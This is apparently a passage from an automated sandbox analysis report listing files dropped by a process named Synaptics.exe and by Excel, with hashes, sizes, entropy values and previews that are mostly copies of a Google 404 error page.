SHA-256:	9158DFD5B7E53F46AC2E6B4A041CE8F02EDE516639E353A49115E1849ED97A30
SHA-512:	BA2014A43F3BA97F08B903DABF3519138962C30488E00FE858C57BD8431BDA06272F6D997F7FEB9296645F7A9EF944968593D88AF2FF94CF6258F69B51C77F8E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Z8wbN5yL2RKtJuaR4Ec8TQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\iOBWTe3.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264648156089481
Encrypted:	false
SSDEEP:	24:GgsF+0wSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+r+pAZewRDK4mW
MD5:	53B7A130BEC79DD419C8D244B442A8C8
SHA1:	2DE2689B7AF4E344855642B57E5BE16EF46BF587
SHA-256:	F1A02B4E996D93B0F606DB64AA6450BB6AA6F3CDDB92DD1FF20C39EBFB3519DC
SHA-512:	0A17406C3BFFFC4CDC09E1A33DCB8BE0B8F61390A9486C2E3FB608D6B3C5E7F29EBE4CD238B6AE30B071E2563EAACCB362D79DB57C7E63F3A041E404E88B0473
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="lqgV06E2GsvK6ozoCEQ6sA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\lSodXHd.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.26508261800284
Encrypted:	false
SSDEEP:	24:GgsF+00zWSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+0+pAZewRDK4mW
MD5:	AE7C6DDFD7AB3B5B998F00B18EDFAA8B
SHA1:	8B1342E064323ED105B0FD4408ABC9CFA5A6DC2D
SHA-256:	5152D61C8C7AAAFF6A14FCEF87FCBD0001B6C9BDAFE01E8E77EB174CD520A4A8
SHA-512:	5128CB72FB6A499A31FC808E33C70D286C55A0CCA78F8E7432BCD6B7250E119BEF2AFD9E46A60D64DD9DB0C41E374E52778FA7BBAD1102833B477DB357EE8A2B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="rkr2RyjjoE_lFJEuj_HUBQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\mZhyFAo.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.254401451552252
Encrypted:	false
SSDEEP:	24:GgsF+0+YAISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+fYAI+pAZewRDK4mW
MD5:	FD81922140459DF3FF0F6A461F977229
SHA1:	B0A5922023CDC40C73D84E4E98823348EDCA3B2E
SHA-256:	88E09A7728BF06E046F34C393CFA8096E434C5458DCADED5FE4753AE0C38B18D
SHA-512:	3969360FCD54B40B3448C18C52A5AB0C4623517298284C599031BB99EA23F019926C5DF226522AE1221497723BB208EAF8C599D819C201AFE0734E23F00610D3
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="fNm42jkbndpIKSLoQofg2A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\mmlXo1G.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259142643709771
Encrypted:	false
SSDEEP:	24:GgsF+0EMSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+M+pAZewRDK4mW
MD5:	586B1A2E66B9EB0B05F9ED6246619A0C
SHA1:	E644DD84908D1A9F64BC4862E7A3FB81D561C958
SHA-256:	1B059FC3AF234941563DC5A2B6767CB75DFD2FD5DDD181B90C45A970694F5F98
SHA-512:	2447DD7301E3CF4E4B3071FE1A0BA62E51016A9B7BDAC85F1AA5EC4D6BC6EC34A4C90CF2A7AEBFD6E60ABBB895C9B2AC562D5007E2EC0FF08E7C35D42FD8C9EC
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="o8Phgfczyz1WCs1YVjOtlw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\n999BSN.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259906904825044
Encrypted:	false
SSDEEP:	24:GgsF+0WSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+1+pAZewRDK4mW
MD5:	6F3CF2E9BDDCB5A87BEB318D6D79AC29
SHA1:	8653044413A562F5881FD6A14896B233208AC9ED
SHA-256:	50B7939FF2FF063E699A77CF0B426C508FBFB464D850245B65C1B9FD14872BBC
SHA-512:	C47555489FECE1F7467E31181F61042244D01B149F5F1AD57A8C21E811A0C5E7491077DA050486F62B576FD9D73DBBD6238F22663BC37F8726FFFE9E90929A68
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="sQWjJjbe0qq0gAoikaXOUw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\nL1Pwf7.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.254755826698978
Encrypted:	false
SSDEEP:	24:GgsF+0F3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+S+pAZewRDK4mW
MD5:	C911AA60C069D2AC261999913BC55428
SHA1:	110280368E81360DC837CEF6E707F84D4632FB61
SHA-256:	D2311682E742EE9FA1244794989A91203F7238B53F8E06E2ECA4FCC3086DD482
SHA-512:	5DED707DEA3AEF2C8A6B0EA9916101F4DFA3F185060354630D3113B5FA9A811D079DFCDE31247F8E3FE72E6B55D4975F585AE1CB919A6AF686F996E2CCD31172
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Lva1b2T37td79g5vBqROOg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\oa7MHIp.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260729780883442
Encrypted:	false
SSDEEP:	24:GgsF+07mSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+km+pAZewRDK4mW
MD5:	142A7FB65BFA7BA1F1852B66EED3FEB7
SHA1:	588AB353C8E30DB51EFC72EB844AC9E04D47BD6F
SHA-256:	9D847634A6A76F656D8EEA06AEB9185DF195D7E24A3D923F4D559EE1FF7E9011
SHA-512:	AABE9B07654963CA2796DBE610F64564CCD814476C2431F49840141245AC215BD4EC56DE620723F32813A0BDC093AE8ED2B05F7216A4D019069CA93480B66914
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="tolqyhQ9e0RAnHW26XuL1A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\rVlRjMU.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256633969842388
Encrypted:	false
SSDEEP:	24:GgsF+0swSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+q+pAZewRDK4mW
MD5:	3E4D975276560EDC8BF7379AFECBA36D
SHA1:	9E9207F89E04D3071F8BC68856206C713560AF4C
SHA-256:	F3C1899B919EB51388722D57919D06E2D71CB156851C6CBC65084E0391792F2C
SHA-512:	7E95C463724F4B904E8FFC7A319121C8AA5E62FF49C1C0C1F5538178ED0BB4D0FE4F27A82F9199D548DD2EA510CE403A82CCB37951026E4AC900421393634CE6
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="81L_PxbNbpb5d-jV6kMejg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\rh9hz51.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.270478418695706
Encrypted:	false
SSDEEP:	24:GgsF+0aSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+N+pAZewRDK4mW
MD5:	64E0833D8A1826DD24EFEA86044CAD86
SHA1:	0C8ACEE8ABC833041C0F624199E38635FAD5BAB2
SHA-256:	6F1140142C8C6DF2B848D0C214FF51C750DF1F5BC11BD001A73CE6D04EFFE6E3
SHA-512:	A000BAA2C3A9F3436F0847189535A536338DE460061BB460587B73F972B71DCC5F3402D38EE8E65407CA862ED318C2840F107A5500B6689370C74DF77756F871
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="isFVk8gizUNPU7f3LMjkKQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\sV1JZDz.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260769489039694
Encrypted:	false
SSDEEP:	24:GgsF+0lUSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+l+pAZewRDK4mW
MD5:	0DBACB38045257063382EE1B76B43E67
SHA1:	5BD2252683F61842DD425D8927D8EDA05B3FE5CA
SHA-256:	3A98186E77193B5F2A9A1B227AA00DC10CE34F0B8AEE932E814B96FE98176871
SHA-512:	F56CD4AC44716CB6E3873A02F50FBE7962E4BB83AC53AD1235AFE3EA0CC62E8B68150ACEBB70BBF4712199FB123A3914735C19ED22A32114C8FF2C1DADFFD588
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="k4LFLAhN3ruYepZJiIVfng">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\t4pAm4X.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261465299938289
Encrypted:	false
SSDEEP:	24:GgsF+0h2SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+D+pAZewRDK4mW
MD5:	394712FA3729DDA9A0B84221EB48C107
SHA1:	D412B8751C8FCCA68E8D8BF7519ECE0E605373A1
SHA-256:	32C3401554B7D431423F94D7D63E02B7E7B1ED7D22FDC3745E9BEE478214EA5C
SHA-512:	1550E76161259DA5C886F7089306B572FD98DD2A3BA5E2986FFF43E5798508ED55DAB7D3C2894CBC0D11C6F63B26DE36C23A8DAA330B3200438B74C615DAD7F1
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="973lP3VY_o3Tm3mrIpWKvw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\tT5VZoGH.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\AppData\Local\Temp\tgyFceK.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.252560400051943
Encrypted:	false
SSDEEP:	24:GgsF+0ESU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+3+pAZewRDK4mW
MD5:	1F26BAA9921261F2FB6AED9F9F25D66C
SHA1:	AD9D5417038A1F29C87574DE0BB676744B3E887E
SHA-256:	FE02BC2F43EA23BC1EEE913AE79522506437982482D8F27DB5B9D8923B84B100
SHA-512:	93C37C99ABF958BA2E233046A941051C08161FBE9581F85DDDE6B1AEB5F9014FE6D9F51A118123AE8B1F468968B60D330195242D86C39DD26359A7F2EF90762C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="aeHiz0vadmerzpQ8EZ6BRw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\yNt2epx.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264693753288245
Encrypted:	false
SSDEEP:	24:GgsF+0SbSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Fb+pAZewRDK4mW
MD5:	2C7901B1F76F536A0ACBDCF83A9F1A11
SHA1:	8A50F5E6E370CC56F254A66FE25C3F1E7155421D
SHA-256:	98B8B4878917467A6DD3D55EC415DDFA6D357A1FE5C7FF289E7EF49229C2BA75
SHA-512:	B4DFE3A542D476FE2915F37654E1BE76998E27A73198F9947D1901F59A0E048623B23AC2941711621A8B18984EAEB5E42D180368CA4F11ECD2405AC7FB279401
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="jJSG3B11xiT7yiG875tq9A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\zUIaTnc.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2673907286229005
Encrypted:	false
SSDEEP:	24:GgsF+0mCUIbrXDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+CUIT+pAZewRDK4mW
MD5:	8599A589096AE4F1282D0EBED574B552
SHA1:	C42B00029E0E46A9EA733B66684ED91F2958D9A9
SHA-256:	CF5C8D889EDDB27194C0097B4C88FE2D7DA11F46A5FF65E7F23D5CD41C586039
SHA-512:	18DDA8E6B2ACDBD62B5C33FBED222BA2906EABF7A2078FDDABC60CE79BBAF5D98C75B332AD746079CB1AE48B7B1F1AA4CF32357E6DE01E5081791B6478CC017D
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="_ojkgPkZ6S2XsKCq92tflQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\~$tT5VZoGH.xlsm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.610853976637159
Encrypted:	false
SSDEEP:	3:iXFQLjLlAWFd:97
MD5:	CA2C2DB316A89F044206082EEB3A366E
SHA1:	B1B7DFF94B991B26093AA29BF3793DDE245412E1
SHA-256:	12393F1035745AD02C149920E37AFFE459CD0448A2AFEE25C1FABA8060758FF7
SHA-512:	66BC8C779431737A3FA00AF7697C299BC473B6FD22D48914986821DA7C0AB90554D32F7F2B471EAB5410F9C0DE7E076F4D6DEDDCCE1948818F7781DAE9EDEBE7
Malicious:	false
Preview:	.user ..e.n.g.i.n.e.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\AppData\Local\Temp\~DFF88C652ECE840ED4.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.746897789531007
Encrypted:	false
SSDEEP:	192:QuY+pHkfpPr76TWiu0FPZK3rcd5kM7f+ihdCF3EiRcx+NSt0ckBCecUSaFUH:ZZpEhSTWi/ekfzaVNg0c4gU
MD5:	7426F318A20A187D88A6EC88BBB53BAF
SHA1:	4F2C80834F4B5C9FCF6F4B1D4BF82C9F7CCB92CA
SHA-256:	9AF85C0291203D0F536AA3F4CB7D5FBD4554B331BF4254A6ECD99FE419217830
